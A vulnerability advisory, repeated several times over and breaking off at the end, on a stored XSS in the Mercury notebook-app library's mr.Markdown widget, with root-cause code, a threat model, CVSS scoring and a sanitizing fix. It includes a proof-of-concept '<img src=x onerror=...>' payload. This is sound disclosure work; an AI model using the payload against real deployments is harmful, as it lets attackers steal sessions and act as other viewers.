mercury

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

